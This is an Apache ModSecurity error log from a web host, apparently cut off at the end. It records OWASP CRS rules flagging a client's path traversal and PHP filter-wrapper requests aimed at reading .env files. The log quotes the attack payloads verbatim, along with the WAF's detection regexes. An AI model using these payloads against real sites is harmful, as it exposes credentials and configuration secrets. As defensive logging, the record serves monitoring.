[Fri Jul 17 08:55:11.494073 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&ts=xBGWC2hlUztJoeHCtALcr9V4PyoXJSrlQmZkPD4rJb1_efcpGegdH_--ZktMqIouFBjqZbq7TFwH4guO2Oc_XSYIOwzo3Pw8_pCSYkoYVrJU45OXCBHLEYv-JXDe4B3Ess57iMmsOmK_UGphr9D2VFfP_icES3A_ZHndNRMbNSrjWCA2VP-piguB_UqCTDnCASxyn3DaEoLhGdjk8_lPqXnCWYj7lunItkCpGNsFaAZkd603DT_DWyGRFT37VZA6v0oCqd_EeDoqyraLCEN5V3Sm&extra=DRTURV22GXCLLQ6BD4WE2AIY2AX3TQ2X7CUVM4Q6VKQXVOIMP4PLQJACKEU6KN6MTBPZUCQTT6FVM3S4KZVUSO..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yQAAAAw"]
[Fri Jul 17 08:55:11.494102 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&ts=xbgwc2hluztjoehctalcr9v4pyoxjsrlqmzkpd4rjb1_efcpgegdh_--zktmqioufbjqzbq7tfwh4guo2oc_xsyiowzo3pw8_pcsykoyvrju45oxcbhleyv-jxde4b3ess57immsomk_ugphr9d2vffp_ices3a_zhndnrmbnsrjwca2vp-pigub_uqctdncasxyn3daeolhgdjk8_lpqxncwyj7lunitkcpgnsfaazkd603dt_dwygrft37vza6v0ocqd_eedoqyralcen5v3sm&extra=drturv22gxcllq6bd4we2aiy2ax3tq2x7cuvm4q6vkqxvoimp4plqjackeu6kn6mtbpzucqtt6fvm3s4kzvuso..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yQAAAAw"]
[Fri Jul 17 08:55:11.494128 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yQAAAAw"]
[Fri Jul 17 08:55:11.494146 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yQAAAAw"]
[Fri Jul 17 08:55:11.494472 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yQAAAAw"]
[Fri Jul 17 08:55:11.494529 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScgAAAB4"]
[Fri Jul 17 08:55:11.495459 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScgAAAB4"]
[Fri Jul 17 08:55:11.495489 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95yQAAAAw"]
[Fri Jul 17 08:55:11.495565 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.495591 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.495679 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&template=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=_l74048x5ElRK-3pdAseRWzMM5PpUlm-AhxE03z28Luzzf8nJ85WgAOdPdJlY0R2L6-_nXWHH20A4grUgrm3p7tA4EbAz1lSy2mdQ6mavMYSsQMLsIbf01EisiJVTEVA76m9M_skcw3otAgRT9DDfyPd4PkCrJWLsCmu2SZqvQPVgRzO_Rj7_5oL-VjeWxEUEMJI3VKN7O72g2QJzAFQzczKk0B5M23G8_9vqwK9TnDJLmD8aglaSzsjUFd00mLqPL5moaR-WcRW5VRceFb1-ZRL&ts=VGUXVBWT3S2G4CM7YGQJIZFPAQK6H5XMJK3WVJQBO6WK4HWM4LU2DQL6JAQOIRK..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hQAAABA"]
[Fri Jul 17 08:55:11.495715 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hQAAABA"]
[Fri Jul 17 08:55:11.495760 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&token=_l74048x5ElRK-3pdAseRWzMM5PpUlm-AhxE03z28Luzzf8nJ85WgAOdPdJlY0R2L6-_nXWHH20A4grUgrm3p7tA4EbAz1lSy2mdQ6mavMYSsQMLsIbf01EisiJVTEVA76m9M_skcw3otAgRT9DDfyPd4PkCrJWLsCmu2SZqvQPVgRzO_Rj7_5oL-VjeWxEUEMJI3VKN7O72g2QJzAFQzczKk0B5M23G8_9vqwK9TnDJLmD8aglaSzsjUFd00mLqPL5moaR-WcRW5VRceFb1-ZRL&ts=VGUXVBWT3S2G4CM7YGQJIZFPAQK6H5XMJK3WVJQBO6WK4HWM4LU2DQL6JAQOIRKPLLH7KOWZGHOWV5N7YTHWCCKNB..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hQAAABA"]
[Fri Jul 17 08:55:11.495813 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&token=_l74048x5elrk-3pdaserwzmm5ppulm-ahxe03z28luzzf8nj85wgaodpdjly0r2l6-_nxwhh20a4grugrm3p7ta4ebaz1lsy2mdq6mavmyssqmlsibf01eisijvteva76m9m_skcw3otagrt9ddfypd4pkcrjwlscmu2szqvqpvgrzo_rj7_5ol-vjewxeuemji3vkn7o72g2qjzafqzczkk0b5m23g8_9vqwk9tndjlmd8aglaszsjufd00mlqpl5moar-wcrw5vrcefb1-zrl&ts=vguxvbwt3s2g4cm7ygqjizfpaqk6h5xmjk3wvjqbo6wk4hwm4lu2dql6jaqoirkpllh7kowzghowv5n7ythwccknb..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hQAAABA"]
[Fri Jul 17 08:55:11.495822 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vScgAAAB4"]
[Fri Jul 17 08:55:11.495841 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hQAAABA"]
[Fri Jul 17 08:55:11.495841 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95yQAAAAw"]
[Fri Jul 17 08:55:11.495865 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hQAAABA"]
[Fri Jul 17 08:55:11.496196 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hQAAABA"]
[Fri Jul 17 08:55:11.496238 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&view=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&extra=dgqazxcNJfhwFVlZUAqwzwI-MT0HBcAxaKp9pU9zbvi8X7M34fpxWtI8wCKWgiapOXTy17nBLeofZvhOD3jSy9zYkOpGxwQ2je-OZULkr-M8sjG5Zy7DDUhcyA9WVuy9pYydXY8dwwJszBDsZc0RUmFsZBqPL-MkFkBTZOtLaHy8VP4HGwv1oT8DImPIdeCS6U4hQKRPUJYNlea6vGd4NYpfsCo9UpgtNRO0RZFzA35zwrzYgc10e4tAZFuxctxkvbRM4RepkAJo3bfFGmAc4wX7&anything=NQGRMBFER6COKLUVTSA2NKFAGWMUNNWPE3PIRIEOIMOZIJD5S67ZARNFUMJFE4Q7BB3IQPCO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AaAAAAAU"]
[Fri Jul 17 08:55:11.496288 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AaAAAAAU"]
[Fri Jul 17 08:55:11.496339 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&extra=dgqazxcNJfhwFVlZUAqwzwI-MT0HBcAxaKp9pU9zbvi8X7M34fpxWtI8wCKWgiapOXTy17nBLeofZvhOD3jSy9zYkOpGxwQ2je-OZULkr-M8sjG5Zy7DDUhcyA9WVuy9pYydXY8dwwJszBDsZc0RUmFsZBqPL-MkFkBTZOtLaHy8VP4HGwv1oT8DImPIdeCS6U4hQKRPUJYNlea6vGd4NYpfsCo9UpgtNRO0RZFzA35zwrzYgc10e4tAZFuxctxkvbRM4RepkAJo3bfFGmAc4wX7&anything=NQGRMBFER6COKLUVTSA2NKFAGWMUNNWPE3PIRIEOIMOZIJD5S67ZARNFUMJFE4Q7BB3IQPCOUJWIHLFFQ47GVDRUZLE2JLXS..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AaAAAAAU"]
[Fri Jul 17 08:55:11.496373 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&extra=dgqazxcnjfhwfvlzuaqwzwi-mt0hbcaxakp9pu9zbvi8x7m34fpxwti8wckwgiapoxty17nbleofzvhod3jsy9zykopgxwq2je-ozulkr-m8sjg5zy7dduhcya9wvuy9pyydxy8dwwjszbdszc0rumfszbqpl-mkfkbtzotlahy8vp4hgwv1ot8dimpidecs6u4hqkrpujynlea6vgd4nypfsco9upgtnro0rzfza35zwrzygc10e4tazfuxctxkvbrm4repkajo3bffgmac4wx7&anything=nqgrmbfer6cokluvtsa2nkfagwmunnwpe3pirieoimozijd5s67zarnfumjfe4q7bb3iqpcoujwihlffq47gvdruzle2jlxs..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AaAAAAAU"]
[Fri Jul 17 08:55:11.496395 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AaAAAAAU"]
[Fri Jul 17 08:55:11.496413 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AaAAAAAU"]
[Fri Jul 17 08:55:11.496727 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AaAAAAAU"]
[Fri Jul 17 08:55:11.497073 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: 